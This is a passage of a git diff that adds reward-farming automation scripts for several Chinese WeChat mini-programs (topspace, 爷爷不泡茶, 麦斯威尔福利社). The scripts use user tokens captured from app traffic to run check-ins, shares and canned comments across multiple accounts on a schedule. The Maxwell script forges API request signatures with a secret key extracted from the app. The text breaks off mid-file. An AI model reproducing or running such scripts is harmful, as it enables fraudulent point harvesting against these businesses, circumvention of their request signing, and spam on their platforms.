console.log(t.join(this.logSeparator)) } logErr(t, s) { const e = !this.isQuanX(); e ? this.log("", `\u2757\ufe0f${this.name},\u9519\u8bef!`, t.stack) : this.log("", `\u2757\ufe0f${this.name},\u9519\u8bef!`, t) } wait(t) { return new Promise((s) => setTimeout(s, t)) } done(t = {}) { const s = new Date().getTime(), e = (s - this.startTime) / 1e3; this.log("", `\ud83d\udd14${this.name},\u7ed3\u675f!\ud83d\udd5b ${e}\u79d2`); this.log(); if (this.isNode()) { process.exit(1) } if (this.isQuanX()) { $done(t) } } })(t, s) } + +async function Request(options) { + if ($.isNode()) { + const axios = require("axios"); + Request = async (options) => { + try { + return await axios.request(options); + } catch (error) { + return error && error.error ? error.error : "请求失败"; + } + }; + } + if ($.isQuanX()) { + Request = async (options) => { + try { + return await $task.fetch(options); + } catch (error) { + return error && error.error ? error.error : "请求失败"; + } + }; + } + return await Request(options); +} \ No newline at end of file diff --git a/脚本库/微信小程序/抓包版/topspace/2025-06-28_topspace小程序_0c2cf24e.py b/脚本库/微信小程序/抓包版/topspace/2025-06-28_topspace小程序_0c2cf24e.py new file mode 100644 index 0000000..8d9ac21 --- /dev/null +++ b/脚本库/微信小程序/抓包版/topspace/2025-06-28_topspace小程序_0c2cf24e.py @@ -0,0 +1,121 @@ +# Source: https://gitee.com/jdqlscript/toulu/blob/main/topspace%E5%B0%8F%E7%A8%8B%E5%BA%8F.py +# Raw: https://gitee.com/jdqlscript/toulu/raw/main/topspace%E5%B0%8F%E7%A8%8B%E5%BA%8F.py +# Repo: jdqlscript/toulu +# Path: topspace小程序.py +# UploadedAt: 2025-06-28T11:18:42+08:00 +# SHA256: 0c2cf24eeedde16a73bd6ff8f3dd0b86507004dcbd7def57502e5f3d8b644612 +# Category: 微信小程序/抓包版 +# Evidence: appid/openid/session_key/encryptedData等小程序字段 + +''' +topspace微信小程序 +topspace小程序每天定时两次就可以 + + +有问题联系3288588344 + 频道:https://pd.qq.com/s/672fku8ge + +new Env('topspace'); +抓x-vcs-user-token和app-id用&分割并且多号@ +''' +import requests +import os + +class AC: + def __init__(self, cookie): + self.headers = { + 'User-Agent': "Mozilla/5.0 (Linux; Android 12; RMX3562 Build/SP1A.210812.016; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/122.0.6261.120 Mobile Safari/537.36 XWEB/1220133 MMWEBSDK/20240404 MMWEBID/2307 MicroMessenger/8.0.49.2600(0x28003133) WeChat/arm64 Weixin NetType/WIFI Language/zh_CN ABI/arm64 MiniProgramEnv/android", + 'app-id': cookie.split('&')[1], + 'x-vcs-user-token': cookie.split('&')[0] + } + + def info(self): + url = "https://m.sda.changan.com.cn/app-apigw/user-info-api/api/v1/sda-app/personal-info/basic-information" + response = requests.get(url, headers=self.headers) + data = response.json() + if data['code'] == 0: + userNickname = data["data"]["userNickname"] + totalPoints = data["data"]["pointInfo"]["totalPoints"] + print(f"用户:{userNickname}当前共有{totalPoints}币") + return userNickname + else: + msg = data["msg"] + print(f"登录失败: {msg}") + return None + + def check(self, userNickname): + url = "https://m.sda.changan.com.cn/app-apigw/user-info-api/api/v2/point/check-in" + response = requests.post(url, headers=self.headers) + data = response.json() + if data['code'] == 0: + description = data["data"]["description"] + total = data["data"]["total"] + print(f"用户:{userNickname}{description}获得{total}TOP币") + else: + msg = data["msg"] + print(f"签到失败: {msg}") + + def list_articles(self, userNickname): + url = "https://m.sda.changan.com.cn/app-apigw/sda-zone-api/api/v1/post/list" + data = { + "section_id": "1002", + "page": { + "current_page": 1, + "page_size": 20 + }, + "sort_type": "RECOMMEND_FIRST" + } + response = requests.post(url, headers=self.headers, json=data) + data = response.json() + if data['code'] == 0: + article_id = data["data"]["list"][0]["id"] + print(f"用户:{userNickname}获取文章{article_id}") + return article_id + else: + msg = data["msg"] + print(f"获取文章失败: {msg}") + + def publish_comment(self, userNickname, article_id): + url = "https://m.sda.changan.com.cn/app-apigw/sda-zone-api/api/v1/comment/publish" + data = { + "content": "很酷", + "post_id": article_id + } + response = requests.post(url, headers=self.headers, json=data) + data = response.json() + if data['code'] == 0: + print("发布成功") + else: + print(f"发布失败: {data['msg']}") + + def share_article(self, userNickname, article_id): + url = "https://m.sda.changan.com.cn/app-apigw/sda-zone-api/api/v1/action/share" + data = { + "post_id": article_id + } + response = requests.post(url, headers=self.headers, json=data) + data = response.json() + if data['code'] == 0: + print("转发成功") + else: + print(f"转发失败: {data['msg']}") + +if __name__ == "__main__": + topspace = os.environ.get('topspace') + if not topspace: + print("请设置环境变量 'topspace' 后再运行") + else: + topspace_list = topspace.split('@') + for num, topspace_item in enumerate(topspace_list, start=1): + x_vcs_user_token, app_id = topspace_item.split('&') + cookie = f"{x_vcs_user_token}&{app_id}" + ac = AC(cookie) + print(f"=====开始执行第{num}个账号任务=====") + user_nickname = ac.info() + if user_nickname: + ac.check(user_nickname) + article_id = ac.list_articles(user_nickname) + if article_id: + ac.publish_comment(user_nickname, article_id) + ac.share_article(user_nickname, article_id) + print("---------账号任务执行完毕---------") diff --git a/脚本库/微信小程序/抓包版/vx爷爷不泡茶/2025-06-28_爷爷不泡茶_2e5d48ac.js b/脚本库/微信小程序/抓包版/vx爷爷不泡茶/2025-06-28_爷爷不泡茶_2e5d48ac.js new file mode 100644 index 0000000..b3e24fa --- /dev/null +++ b/脚本库/微信小程序/抓包版/vx爷爷不泡茶/2025-06-28_爷爷不泡茶_2e5d48ac.js @@ -0,0 +1,253 @@ +// # Source: https://gitee.com/jdqlscript/toulu/blob/main/%E7%88%B7%E7%88%B7%E4%B8%8D%E6%B3%A1%E8%8C%B6.js +// # Raw: https://gitee.com/jdqlscript/toulu/raw/main/%E7%88%B7%E7%88%B7%E4%B8%8D%E6%B3%A1%E8%8C%B6.js +// # Repo: jdqlscript/toulu +// # Path: 爷爷不泡茶.js +// # UploadedAt: 2025-06-28T11:18:42+08:00 +// # SHA256: 2e5d48ac7842d46057beda28f0f2400ae9722581a1bc925657b2a8b8746c99d1 +// # Category: 微信小程序/抓包版 +// # Evidence: appid/openid/session_key/encryptedData等小程序字段 +// + + * 爷爷不泡茶 + * yybpc + *有问题联系3288588344 + *频道:https://pd.qq.com/s/672fku8ge + * vx爷爷不泡茶 + * cron "10 8 * * *" yybpc.js + * export yybpc= qm-user-token 多账号换行或者#分隔 +// ============================================================================================================ +const $ = new Env('vx爷爷不泡茶') +const axios = require('axios') +const env_name = 'yybpc' //环境变量名字 +const env = process.env[env_name] || '' +const Notify = 1 +const debug = 0 +let scriptVersionNow = "1.0.0"; +let msg = ""; +// ==================================异步顺序============================================================================== +!(async () => { + await getNotice(); //远程通知 + await main();//主函数 + await SendMsg(msg); //发送通知 + +})() + .catch((e) => $.logErr(e)) + .finally(() => $.done()); +//==================================脚本入口函数main()============================================================== + +async function main() { + if (env == '') { + //没有设置变量,直接退出 + console.log(`没有填写变量,请查看脚本说明: ${env_name}`) + return + } + let user_ck = env.split('\n') + DoubleLog(`\n========= 共找到 ${user_ck.length} 个账号 =========`); + let index = 1 //用来给账号标记序号, 从1开始 + for (let ck of user_ck) { + if (!ck) continue //跳过空行 + let ck_info = ck.split('&') + let Authorization = ck_info[0] + //let uid = ck_info[0] + //let deviceCode = ck_info[2] + let user = { + index: index, + Authorization, + //uid, + //deviceCode, + } + index = index + 1 //每次用完序号+1 + //开始账号任务 + let Run = new run(); + await Run.userTask(user) + //每个账号之间等1~5秒随机时间 + let rnd_time = Math.floor(Math.random() * 4000) + 1000 + console.log(`随机等待${rnd_time / 1000}秒...`) + await $.wait(rnd_time) + } +} +// ======================================开始任务========================================= +class run { + constructor(user) { + + } +async userTask(user) { + console.log(`\n========= 账号[${user.index}] 开始任务 =========`) + await this.SignTask(user) + await wait(2) + await this.account(user) +} +// ============================================================================================================================= +//签到 + async SignTask(user) { + try { + DoubleLog(`🕊账号[${user.index}] 开始签到...`); + let urlObject = { + method: 'post', + url: `https://webapi.qmai.cn/web/cmk-center/sign/takePartInSign`, + headers: { + "qm-from": "wechat", + "qm-user-token": user.Authorization, + 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36 MicroMessenger/7.0.20.1781(0x6700143B) NetType/WIFI MiniProgramEnv/Windows WindowsWechat/WMPF WindowsWechat(0x63090a13) XWEB/9129', + }, + data:{ + "activityId": "983701274523176960", + "appid": "wx3423ef0c7b7f19af" + } + } + // + let { data: result} = await axios.request(urlObject) + //console.log(result); + if (result?.status == true) { + //打印签到结果 + DoubleLog(`🕊账号[${user.index}] 签到成功🎉`); + }if(result?.data.sign == "false") { + DoubleLog(`🕊账号[${user.index}] 签到失败:原因未知🚫`) + }if (result?.status == false) { + DoubleLog(`🕊账号[${user.index}] 签到失败:${result.message}🚫`) + } + + + } catch (e) { + console.log(e); + } + } +//积分 +async account(user) { + try { + DoubleLog(`🕊账号[${user.index}] 开始查询积分...`); + let urlObject = { + method: 'post', + url: `https://webapi.qmai.cn/web/mall-apiserver/integral/user/points-info`, + headers: { + "qm-from": "wechat", + "qm-user-token": user.Authorization, + 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36 MicroMessenger/7.0.20.1781(0x6700143B) NetType/WIFI MiniProgramEnv/Windows WindowsWechat/WMPF WindowsWechat(0x63090a13) XWEB/9129', + }, + data: { + "appid": "wx3423ef0c7b7f19af" + } + } + // + let { data: result} = await axios.request(urlObject) + //console.log(result); + if (result?.status == true) { + //打印签到结果 + DoubleLog(`🕊账号[${user.index}] 当前积分[${result.data.totalPoints}]🎉`); + }else { + DoubleLog(`🕊账号[${user.index}] 积分查询失败:${result.message}🚫`) + } + + + } catch (e) { + console.log(e); + } +} +} +/** + * =========================================================发送消息============================================= + */ +async function SendMsg(message) { + if (!message) return; + if (Notify > 0) { + if ($.isNode()) { + var notify = require("./sendNotify"); + await notify.sendNotify($.name, message); + } else { + // $.msg(message); + $.msg($.name, '', message) + } + } else { + console.log(message); + } +} +/** + * =====================================================双平台log输出========================================== + */ +function DoubleLog(data) { + if ($.isNode()) { + if (data) { + console.log(`${data}`); + msg += `\n${data}`; + } + } else { + console.log(`${data}`); + msg += `\n${data}`; + } + +} +/** +* ======================================================等待 X 秒============================================ +*/ +function wait(n) { + return new Promise(function (resolve) { + setTimeout(resolve, n * 1000); + }); +} +/** +* ======================================================随机等待 1-5 秒============================================ +*/ +function sjwait() { + return new Promise(function (resolve) { + let waitTime = Math.floor(Math.random() * 4000 + 1000); + setTimeout(resolve, waitTime); + }); +} +// ==========================================================13位时间戳===================================================== +function getTimestamp() { + return new Date().getTime(); +} +//===============================================网络请求httpRequest========================================= +function httpRequest(options, timeout = 1 * 1000) { + method = options.method ? options.method.toLowerCase() : options.body ? "post" : "get"; + return new Promise(resolve => { + setTimeout(() => { + $[method](options, (err, resp, data) => { + try { + if (err) { + console.log(JSON.stringify(err)); + $.logErr(err); + } else { + try { data = JSON.parse(data); } catch (error) { } + } + } catch (e) { + console.log(e); + $.logErr(e, resp); + } finally { + resolve(data); + } + }) + }, timeout) + }) +} +//==============================================Debug模式=============================================== +function debugLog(...args) { + if (debug) { + console.log(...args); + } +} +//===============================================获取远程通知======================================== +async function getNotice() { + try { + const urls = [ + "https://github.com/3288588344/toulu/raw/main/tl.json", + + ]; + let notice = null; + for (const url of urls) { + const options = { url, headers: { "User-Agent": "" }, }; + const result = await httpRequest(options); + if (result && "notice" in result) { + notice = result.notice.replace(/\\n/g, "\n"); + break; + } + } + if (notice) { $.DoubleLog(notice); } + } catch (e) { + console.log(e); + } +} +//=============================================================================================================================================== +//================================================固定API=============================================================================================== +function Env(t, e) { class s { constructor(t) { this.env = t } send(t, e = "GET") { t = "string" == typeof t ? { url: t } : t; let s = this.get; return ("POST" === e && (s = this.post), new Promise((e, a) => { s.call(this, t, (t, s, r) => { t ? a(t) : e(s) }) })) } get(t) { return this.send.call(this.env, t) } post(t) { return this.send.call(this.env, t, "POST") } } return new (class { constructor(t, e) { this.userList = []; this.userIdx = 0; (this.name = t), (this.http = new s(this)), (this.data = null), (this.dataFile = "box.dat"), (this.logs = []), (this.isMute = !1), (this.isNeedRewrite = !1), (this.logSeparator = "\n"), (this.encoding = "utf-8"), (this.startTime = new Date().getTime()), Object.assign(this, e), this.log("", `🔔${this.name},开始!`) } getEnv() { return "undefined" != typeof $environment && $environment["surge-version"] ? "Surge" : "undefined" != typeof $environment && $environment["stash-version"] ? "Stash" : "undefined" != typeof module && module.exports ? "Node.js" : "undefined" != typeof $task ? "Quantumult X" : "undefined" != typeof $loon ? "Loon" : "undefined" != typeof $rocket ? "Shadowrocket" : void 0 } isNode() { return "Node.js" === this.getEnv() } isQuanX() { return "Quantumult X" === this.getEnv() } isSurge() { return "Surge" === this.getEnv() } isLoon() { return "Loon" === this.getEnv() } isShadowrocket() { return "Shadowrocket" === this.getEnv() } isStash() { return "Stash" === this.getEnv() } toObj(t, e = null) { try { return JSON.parse(t) } catch { return e } } toStr(t, e = null) { try { return JSON.stringify(t) } catch { return e } } getjson(t, e) { let s = e; const a = this.getdata(t); if (a) try { s = JSON.parse(this.getdata(t)) } catch { } return s } setjson(t, e) { try { return this.setdata(JSON.stringify(t), e) } catch { return !1 } } getScript(t) { return new Promise((e) => { this.get({ url: t }, (t, s, a) => e(a)) }) } runScript(t, e) { return new Promise((s) => { let a = this.getdata("@chavy_boxjs_userCfgs.httpapi"); a = a ? a.replace(/\n/g, "").trim() : a; let r = this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout"); (r = r ? 1 * r : 20), (r = e && e.timeout ? e.timeout : r); const [i, o] = a.split("@"), n = { url: `http://${o}/v1/scripting/evaluate`, body: { script_text: t, mock_type: "cron", timeout: r }, headers: { "X-Key": i, Accept: "*/*" }, timeout: r, }; this.post(n, (t, e, a) => s(a)) }).catch((t) => this.logErr(t)) } loaddata() { if (!this.isNode()) return {}; { (this.fs = this.fs ? this.fs : require("fs")), (this.path = this.path ? this.path : require("path")); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), a = !s && this.fs.existsSync(e); if (!s && !a) return {}; { const a = s ? t : e; try { return JSON.parse(this.fs.readFileSync(a)) } catch (t) { return {} } } } } writedata() { if (this.isNode()) { (this.fs = this.fs ? this.fs : require("fs")), (this.path = this.path ? this.path : require("path")); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), a = !s && this.fs.existsSync(e), r = JSON.stringify(this.data); s ? this.fs.writeFileSync(t, r) : a ? this.fs.writeFileSync(e, r) : this.fs.writeFileSync(t, r) } } lodash_get(t, e, s) { const a = e.replace(/\[(\d+)\]/g, ".$1").split("."); let r = t; for (const t of a) if (((r = Object(r)[t]), void 0 === r)) return s; return r } lodash_set(t, e, s) { return Object(t) !== t ? t : (Array.isArray(e) || (e = e.toString().match(/[^.[\]]+/g) || []), (e.slice(0, -1).reduce((t, s, a) => Object(t[s]) === t[s] ? t[s] : (t[s] = Math.abs(e[a + 1]) >> 0 == +e[a + 1] ? [] : {}), t)[e[e.length - 1]] = s), t) } getdata(t) { let e = this.getval(t); if (/^@/.test(t)) { const [, s, a] = /^@(.*?)\.(.*?)$/.exec(t), r = s ? this.getval(s) : ""; if (r) try { const t = JSON.parse(r); e = t ? this.lodash_get(t, a, "") : e } catch (t) { e = "" } } return e } setdata(t, e) { let s = !1; if (/^@/.test(e)) { const [, a, r] = /^@(.*?)\.(.*?)$/.exec(e), i = this.getval(a), o = a ? ("null" === i ? null : i || "{}") : "{}"; try { const e = JSON.parse(o); this.lodash_set(e, r, t), (s = this.setval(JSON.stringify(e), a)) } catch (e) { const i = {}; this.lodash_set(i, r, t), (s = this.setval(JSON.stringify(i), a)) } } else s = this.setval(t, e); return s } getval(t) { switch (this.getEnv()) { case "Surge": case "Loon": case "Stash": case "Shadowrocket": return $persistentStore.read(t); case "Quantumult X": return $prefs.valueForKey(t); case "Node.js": return (this.data = this.loaddata()), this.data[t]; default: return (this.data && this.data[t]) || null } } setval(t, e) { switch (this.getEnv()) { case "Surge": case "Loon": case "Stash": case "Shadowrocket": return $persistentStore.write(t, e); case "Quantumult X": return $prefs.setValueForKey(t, e); case "Node.js": return ((this.data = this.loaddata()), (this.data[e] = t), this.writedata(), !0); default: return (this.data && this.data[e]) || null } } initGotEnv(t) { (this.got = this.got ? this.got : require("got")), (this.cktough = this.cktough ? this.cktough : require("tough-cookie")), (this.ckjar = this.ckjar ? this.ckjar : new this.cktough.CookieJar()), t && ((t.headers = t.headers ? t.headers : {}), void 0 === t.headers.Cookie && void 0 === t.cookieJar && (t.cookieJar = this.ckjar)) } get(t, e = () => { }) { switch ((t.headers && (delete t.headers["Content-Type"], delete t.headers["Content-Length"], delete t.headers["content-type"], delete t.headers["content-length"]), this.getEnv())) { case "Surge": case "Loon": case "Stash": case "Shadowrocket": default: this.isSurge() && this.isNeedRewrite && ((t.headers = t.headers || {}), Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.get(t, (t, s, a) => { !t && s && ((s.body = a), (s.statusCode = s.status ? s.status : s.statusCode), (s.status = s.statusCode)), e(t, s, a) }); break; case "Quantumult X": this.isNeedRewrite && ((t.opts = t.opts || {}), Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then((t) => { const { statusCode: s, statusCode: a, headers: r, body: i, bodyBytes: o, } = t; e(null, { status: s, statusCode: a, headers: r, body: i, bodyBytes: o, }, i, o) }, (t) => e((t && t.error) || "UndefinedError")); break; case "Node.js": let s = require("iconv-lite"); this.initGotEnv(t), this.got(t).on("redirect", (t, e) => { try { if (t.headers["set-cookie"]) { const s = t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString(); s && this.ckjar.setCookieSync(s, null), (e.cookieJar = this.ckjar) } } catch (t) { this.logErr(t) } }).then((t) => { const { statusCode: a, statusCode: r, headers: i, rawBody: o, } = t, n = s.decode(o, this.encoding); e(null, { status: a, statusCode: r, headers: i, rawBody: o, body: n, }, n) }, (t) => { const { message: a, response: r } = t; e(a, r, r && s.decode(r.rawBody, this.encoding)) }) } } post(t, e = () => { }) { const s = t.method ? t.method.toLocaleLowerCase() : "post"; switch ((t.body && t.headers && !t.headers["Content-Type"] && !t.headers["content-type"] && (t.headers["content-type"] = "application/x-www-form-urlencoded"), t.headers && (delete t.headers["Content-Length"], delete t.headers["content-length"]), this.getEnv())) { case "Surge": case "Loon": case "Stash": case "Shadowrocket": default: this.isSurge() && this.isNeedRewrite && ((t.headers = t.headers || {}), Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient[s](t, (t, s, a) => { !t && s && ((s.body = a), (s.statusCode = s.status ? s.status : s.statusCode), (s.status = s.statusCode)), e(t, s, a) }); break; case "Quantumult X": (t.method = s), this.isNeedRewrite && ((t.opts = t.opts || {}), Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then((t) => { const { statusCode: s, statusCode: a, headers: r, body: i, bodyBytes: o, } = t; e(null, { status: s, statusCode: a, headers: r, body: i, bodyBytes: o, }, i, o) }, (t) => e((t && t.error) || "UndefinedError")); break; case "Node.js": let a = require("iconv-lite"); this.initGotEnv(t); const { url: r, ...i } = t; this.got[s](r, i).then((t) => { const { statusCode: s, statusCode: r, headers: i, rawBody: o, } = t, n = a.decode(o, this.encoding); e(null, { status: s, statusCode: r, headers: i, rawBody: o, body: n }, n) }, (t) => { const { message: s, response: r } = t; e(s, r, r && a.decode(r.rawBody, this.encoding)) }) } } time(t, e = null) { const s = e ? new Date(e) : new Date(); let a = { "M+": s.getMonth() + 1, "d+": s.getDate(), "H+": s.getHours(), "m+": s.getMinutes(), "s+": s.getSeconds(), "q+": Math.floor((s.getMonth() + 3) / 3), S: s.getMilliseconds(), }; /(y+)/.test(t) && (t = t.replace(RegExp.$1, (s.getFullYear() + "").substr(4 - RegExp.$1.length))); for (let e in a) new RegExp("(" + e + ")").test(t) && (t = t.replace(RegExp.$1, 1 == RegExp.$1.length ? a[e] : ("00" + a[e]).substr(("" + a[e]).length))); return t } queryStr(t) { let e = ""; for (const s in t) { let a = t[s]; null != a && "" !== a && ("object" == typeof a && (a = JSON.stringify(a)), (e += `${s}=${a}&`)) } return (e = e.substring(0, e.length - 1)), e } msg(e = t, s = "", a = "", r) { const i = (t) => { switch (typeof t) { case void 0: return t; case "string": switch (this.getEnv()) { case "Surge": case "Stash": default: return { url: t }; case "Loon": case "Shadowrocket": return t; case "Quantumult X": return { "open-url": t }; case "Node.js": return }case "object": switch (this.getEnv()) { case "Surge": case "Stash": case "Shadowrocket": default: { let e = t.url || t.openUrl || t["open-url"]; return { url: e } } case "Loon": { let e = t.openUrl || t.url || t["open-url"], s = t.mediaUrl || t["media-url"]; return { openUrl: e, mediaUrl: s } } case "Quantumult X": { let e = t["open-url"] || t.url || t.openUrl, s = t["media-url"] || t.mediaUrl, a = t["update-pasteboard"] || t.updatePasteboard; return { "open-url": e, "media-url": s, "update-pasteboard": a, } } case "Node.js": return }default: return } }; if (!this.isMute) switch (this.getEnv()) { case "Surge": case "Loon": case "Stash": case "Shadowrocket": default: $notification.post(e, s, a, i(r)); break; case "Quantumult X": $notify(e, s, a, i(r)); break; case "Node.js": }if (!this.isMuteLog) { let t = ["", "==============📣系统通知📣==============",]; t.push(e), s && t.push(s), a && t.push(a), console.log(t.join("\n")), (this.logs = this.logs.concat(t)) } } log(...t) { t.length > 0 && (this.logs = [...this.logs, ...t]), console.log(t.join(this.logSeparator)) } logErr(t, e) { switch (this.getEnv()) { case "Surge": case "Loon": case "Stash": case "Shadowrocket": case "Quantumult X": default: this.log("", `❗️${this.name},错误!`, t); break; case "Node.js": this.log("", `❗️${this.name},错误!`, t.stack) } } wait(t) { return new Promise((e) => setTimeout(e, t)) } DoubleLog(d) { if (this.isNode()) { if (d) { console.log(`${d}`); msg += `\n ${d}` } } else { console.log(`${d}`); msg += `\n ${d}` } } async SendMsg(m) { if (!m) return; if (Notify > 0) { if (this.isNode()) { var notify = require("./sendNotify"); await notify.sendNotify(this.name, m) } else { this.msg(this.name, "", m) } } else { console.log(m) } } done(t = {}) { const e = new Date().getTime(), s = (e - this.startTime) / 1e3; switch ((this.log("", `🔔${this.name},结束!🕛${s}秒`), this.log(), this.getEnv())) { case "Surge": case "Loon": case "Stash": case "Shadowrocket": case "Quantumult X": default: $done(t); break; case "Node.js": process.exit(1) } } })(t, e) } +//Env rewrite:smallfawn Update-time:23-6-30 newAdd:DoubleLog & SendMsg diff --git a/脚本库/微信小程序/抓包版/vx麦斯威尔福利社/2025-06-28_vx麦斯威尔福利社_2d125158.js b/脚本库/微信小程序/抓包版/vx麦斯威尔福利社/2025-06-28_vx麦斯威尔福利社_2d125158.js new file mode 100644 index 0000000..855b802 --- /dev/null +++ b/脚本库/微信小程序/抓包版/vx麦斯威尔福利社/2025-06-28_vx麦斯威尔福利社_2d125158.js @@ -0,0 +1,425 @@ +// # Source: https://gitee.com/jdqlscript/toulu/blob/main/vx%E9%BA%A6%E6%96%AF%E5%A8%81%E5%B0%94%E7%A6%8F%E5%88%A9%E7%A4%BE.js +// # Raw: https://gitee.com/jdqlscript/toulu/raw/main/vx%E9%BA%A6%E6%96%AF%E5%A8%81%E5%B0%94%E7%A6%8F%E5%88%A9%E7%A4%BE.js +// # Repo: jdqlscript/toulu +// # Path: vx麦斯威尔福利社.js +// # UploadedAt: 2025-06-28T11:18:42+08:00 +// # SHA256: 2d125158015bb15705f795625ddd527706762d790cb366f1d33096f492605f71 +// # Category: 微信小程序/抓包版 +// # Evidence: appid/openid/session_key/encryptedData等小程序字段 +// + +/** + *有问题联系3288588344 + *频道:https://pd.qq.com/s/672fku8ge + * 麦斯威尔福利社 + * mswefls + * Author: Mist + * Date: 2024-06-20 + * cron "10 12 * * *" mswefls.js + * export mswefls= openid 多账号换行或者#分隔 + */ +// ============================================================================================================ +const $ = new Env('vx麦斯威尔福利社') +const axios = require('axios') +const md5 = require('md5') +const env_name = 'mswefls' //环境变量名字 +const env = process.env[env_name] || '' //获取环境变量 +const Notify = 1//是否通知, 1通知, 0不通知. 默认通知 +const debug = 0//是否调试, 1调试, 0不调试. 默认不调试 +let scriptVersionNow = "1.0.0";//脚本版本号 +let msg = ""; +// ==================================异步顺序============================================================================== +!(async () => { + await getNotice(); //远程通知 + await getVersion("yang7758258/ohhh154@main/mswefls.js"); + await main();//主函数 + await SendMsg(msg); //发送通知 + +})() + .catch((e) => $.logErr(e)) + .finally(() => $.done()); +//==================================脚本入口函数main()============================================================== +async function main() { + if (env == '') { + //没有设置变量,直接退出 + console.log(`没有填写变量,请查看脚本说明: ${env_name}`) + return + } + let user_ck = env.split('\n') + DoubleLog(`\n========== 共找到 ${user_ck.length} 个账号 ==========`); + let index = 1 //用来给账号标记序号, 从1开始 + for (let ck of user_ck) { + if (!ck) continue //跳过空行 + let ck_info = ck.split('&') + let openId = ck_info[0] + let user = { + index: index, + openId, + } + index = index + 1 //每次用完序号+1 + //开始账号任务 + await userTask(user) + //每个账号之间等1~5秒随机时间 + let rnd_time = Math.floor(Math.random() * 4000) + 1000 + console.log(`账号[${user.index}]随机等待${rnd_time / 1000}秒...`) + await $.wait(rnd_time) + } +} +// ======================================开始任务========================================= +async function userTask(user) { + console.log(`\n============= 账号[${user.index}]开始任务 =============`) + await wait (1) + await SignInDailyScore(user) + await wait (1) + await ShareDailyScore(user) + await wait (1) + await UserSign(user) + await wait (1) + await UserShare(user) + await wait (1) + for (let i = 0; i < 3; i++) { + await Watering(user); + await wait (2) + } + await GetUserPoint(user) + +} +// ============================================================================================================================= +//签到 +async function SignInDailyScore(user) { + try { + let timestamp = getTimestamp(); + let sign = md5(`timestamp=${timestamp}&openid=${user.openId}&key=JDEMaxwellminiapp#2021!`).toUpperCase(); + let urlObject = { + method: 'post', + url: 'https://jde.mtbcpt.com/api/JDEMaxwellApi/SignInDailyScore', + headers: { + 'Host': 'jde.mtbcpt.com', + 'content-type': 'application/json', + 'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36 MicroMessenger/7.0.20.1781(0x6700143B) NetType/WIFI MiniProgramEnv/Windows WindowsWechat/WMPF WindowsWechat(0x63090b11) XWEB/9129', + }, + data: { + "openId": user.openId, + "timestamp": timestamp, + "sign": sign, + } + }; + //console.log(urlObject); + let { data: result} = await axios.request(urlObject) + if (result?.state == true) { + //打印签到结果 + DoubleLog(`🌸账号[${user.index}]` + `🕊${result.msg}🎉`); + }else{ + DoubleLog(`🌸账号[${user.index}]签到-失败:${result.msg}❌`) + } + + } catch (e) { + //打印错误信息 + console.log('以下是报错输出:'); + console.log(e); + } +} +//分享加积分 +async function ShareDailyScore(user) { + try { + let timestamp = getTimestamp(); + let sign = md5(`timestamp=${timestamp}&openid=${user.openId}&key=JDEMaxwellminiapp#2021!`).toUpperCase(); + let urlObject = { + method: 'post', + url: `https://jde.mtbcpt.com/api/JDEMaxwellApi/ShareDailyScore`, + headers: { + 'Host': 'jde.mtbcpt.com', + 'content-type': 'application/json', + 'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36 MicroMessenger/7.0.20.1781(0x6700143B) NetType/WIFI MiniProgramEnv/Windows WindowsWechat/WMPF WindowsWechat(0x63090b11) XWEB/9129', + }, + data:{ + "through": true, + "openId": user.openId, + "timestamp": timestamp, + "sign": sign, + } + + } + // + let { data: result} = await axios.request(urlObject) + //console.log(urlObject); + //console.log(result); + if (result?.state == true) { + //打印签到结果 + DoubleLog(`🌸账号[${user.index}]` + `🕊${result.msg}🎉`); + }if(result?.state == false) { + DoubleLog(`🌸账号[${user.index}]分享-失败:${result.msg}❌`) + } + } catch (e) { + //打印错误信息 + console.log(e.response.data); + } +} +//浇水签到 +async function UserSign(user) { + try { + let timestamp = getTimestamp(); + let sign = md5(`timestamp=${timestamp}&openid=${user.openId}&key=JDEMaxwellminiapp#2021!`).toUpperCase(); + let urlObject = { + method: 'post', + url: 'https://jde.mtbcpt.com/api/JDEMaxwellApi/UserSign', + headers: { + 'Host': 'jde.mtbcpt.com', + 'content-type': 'application/json', + 'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36 MicroMessenger/7.0.20.1781(0x6700143B) NetType/WIFI MiniProgramEnv/Windows WindowsWechat/WMPF WindowsWechat(0x63090b11) XWEB/9129', + }, + data: { + + "openId": user.openId, + "timestamp": timestamp, + "sign": sign, + + } + }; + //console.log(urlObject); + let { data: result} = await axios.request(urlObject) + if (result?.state == true) { + //打印签到结果 + DoubleLog(`🌸账号[${user.index}]` + `🕊水滴签到-领取成功${result.msg}🎉`); + }else{ + DoubleLog(`🌸账号[${user.index}]水滴签到-失败:${result.msg}❌`) + } + + } catch (e) { + //打印错误信息 + console.log('以下是报错输出:'); + console.log(e.response.data); + } +} +//分享领水滴 +async function UserShare(user) { + try { + let timestamp = getTimestamp(); + let sign = md5(`timestamp=${timestamp}&openid=${user.openId}&key=JDEMaxwellminiapp#2021!`).toUpperCase(); + let urlObject = { + method: 'post', + url: 'https://jde.mtbcpt.com/api/JDEMaxwellApi/UserShare', + headers: { + 'Host': 'jde.mtbcpt.com', + 'content-type': 'application/json', + 'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 